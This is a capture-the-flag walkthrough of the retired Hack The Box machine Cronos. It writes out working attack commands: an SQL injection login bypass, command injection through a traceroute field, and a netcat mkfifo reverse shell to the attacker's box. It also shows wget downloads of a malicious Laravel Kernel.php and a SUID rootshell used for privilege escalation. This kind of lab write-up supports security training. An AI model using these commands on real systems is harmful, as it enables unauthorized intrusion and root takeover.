Continuing with our series on HTB machines, this article contain the walkthrough of another HTB machine. This one is called Cronos.

HTB is an excellent platform that hosts machines belonging to multiple OSes. It offers multiple types of challenges as well. The individual can download the VPN pack to connect to the machines hosted on the HTB platform and has to solve the puzzle (simple enumeration plus pentest) in order to log into the platform.

Note: Only write-ups of retired HTB machines are allowed. The machine in this article (Cronos) is retired.

Walkthrough

Let’s start with this machine. [CLICK IMAGES TO ENLARGE]

1. Download the VPN pack for the individual user and use the guidelines to log into the HTB VPN.

2. The Cronos machine IP is 10.10.10.13.

3. We will adopt the same methodology of performing penetration testing as we have previously used. Let’s start with enumeration in order to learn as much information about the machine as possible.

4. Below is the nmap scan of this box. We can see that port 22 and 80 and DNS port 53 are listed, which is very interesting.
<<nmap -sC -sV -oA cronos 10.10.10.13>>

5. Let’s browse to port 80. Here we can see the Apache default page.

6. But let’s try to edit the hosts file for cronos.htb.
<<vi /etc/hosts>>

7. And now if we visit the page, we see a different output.

8. Since port 53 was open on this machine, let’s try to dig the zone records using the dig utility. Now we can see some interesting entries. For this article, we will focus on admin.cronos.htb
<<dig axfr @10.10.10.13 cronos.htb>>

9. Now, following the same steps above, we can edit the /etc/hosts file again to add an entry for admin.cronos.htb

10. After that, if we visit admin.cronos.htb, we are presented with the below page. Looking into the source of this page reveals nothing interesting.

11. Let’s try to perform a simple SQL injection on the username and password fields. From testing, it looked like that the username field is vulnerable to SQL injection with a simple payload such as <<’ or 1=1#>>

12. After bypassing the login, we are presented with the following page which shows the traceroute and Ping utility.

13. To see whether the victim machine can reach back to us, we used ping to ping our machine back and opened a tcpdump listener on the HTB VPN interface.

  1. On victim machine: ping <attacking box ip>
  2. On attacking box: tcpdump -i tun0

14. We can see that the Cronos machine can reach back to us. Now let’s see if we can inject commands as well. Edit the tracert utility on the box by appending <;id> in the search box, and we can see that it runs the id command and shows that we are running as www-data.

15. Now we can utilize the pentestmonkey reverse shells to get a shell back on our machine. For this machine, we chose to get the reverse shell via the nc utility. But before we deploy the utility, we need to check whether nc is even installed or not. To find this, we can utilize the above discovered vulnerability and run a command such as <which nc>. It shows us that nc is indeed installed at /bin/nc.

16. Let’s open a netcat listener on the machine and enter the reverse shell command on the victim, as below.

  1. On attacking box: <nc -nlvp 1234>
  2. On victim box:<rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attacking box ip> 1234 >/tmp/f >

17. And we get the shell back! Traverse the directory to print the user.txt contents.
<<id>>
<<cd /home>>
<<cd noulis>>
<<cat user.txt>>

18. Now let’s try to escalate the privileges on this machine. We start with checking the kernel version and some other interesting information, such as the process running as root and binaries with the SUID bit set, but in this case, nothing proved to be successful.
<<uname -a>>
<<ps -aux | grep root>>

19. As a checklist item, I checked in the crontab as well and found out that there is a Cron job set up to run Laravel jobs.

20. I started investigating Laravel on Google. Below is some of the interesting information I found:

  1. The Laravel command scheduler works on only a single Cron entry and executes the tasks mentioned in the Kernel.php file.
  2. It is possible to execute shell commands and set up frequency options as well.

21. Based on the above information, if we can edit the Kernel.php file and insert a shell command to execute a file as root, we should achieve privilege escalation.

22. Let’s browse to the Kernel.php file.
<<cd /var/www/laravel/app/Console>>

23. And www-data is the owner of this file.
<<ls -l>>

24. But due to the shell, I was not able to edit the file. So I pushed the file to the www directory (since there is a server running on this port) and accessed it from the browser. Below, we can see that there are no commands mentioned in Kernel.php as of now. Copy the contents of the file locally into a file named Kernel.php

25. So first, let’s create the rootshell file which we will make the SUID bit set and execute as root. Compile the file as well
<<gcc -o rootshell rootshell.c>>

26. Edit the locally-saved Kernel.php and add the below command to it.
exec(‘chown root:root /tmp/rootshell;chmod 4755 /tmp/rootshell’)>everyMinute();

27. Let’s host both the Kernel.php and compiled rootshell from the attacking machine. Start a python web server from the attacking box.
<<python -m SimpleHTTPServer>>

28. On the victim machine, let’s download the files

  1. Under <<cd /var/www/laravel/app/Console>>: wget http://<attacking machine:8000/Kernel.php>

  2. Under /tmp: wget http://<attacking machine:8000/rootshell>

29. Afterwards, let’s wait a minute for the perms to change to root:root on rootshell with SUID bit set. Below you can see the above theory in practice. Look out for change in perms for rootshell.

30. After this, we just need to run the file to gain root access.
<<./rootshell>>

31. Navigate to fetch the root flag.

This is a nice box with a completely new-to-me product (Laravel) to work with. This box shows the importance of reading each and every bit of information about the box and its installed applications and services. We will continue this series with more fun boxes soon!